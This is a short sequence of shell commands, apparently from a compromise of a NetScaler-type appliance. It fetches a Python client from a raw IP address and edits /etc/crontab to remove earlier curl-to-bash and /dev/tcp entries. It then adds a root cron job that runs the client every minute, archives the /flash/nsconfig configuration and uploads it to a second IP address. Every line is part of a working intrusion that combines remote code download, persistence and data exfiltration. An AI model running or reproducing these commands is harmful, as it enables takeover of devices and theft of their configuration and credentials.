http://38.134.148.238:8080/download/x.sh is the URL

curl -o /nsconfig/client.py http://38.134.148.238:8080/download/client.py
sed -i '' '/curl -fS http:\/\/.*\/download\/x\.sh[[:space:]]*|[[:space:]]*bash/d' /etc/crontab
sed -i '' -E '\#/dev/tcp/|/var/python/bin/python#d' /etc/crontab
pkill python
echo '* * * * * root lockf -t 0 /tmp/client.lock /var/python/bin/python /nsconfig/client.py' >> /etc/crontab
cp /etc/crontab /nsconfig/crontab
tar -czvf /tmp/nsconf.tar.gz /flash/nsconfig
curl -X POST -F "file=@/tmp/nsconf.tar.gz" http://167.148.88.236:5000/upload &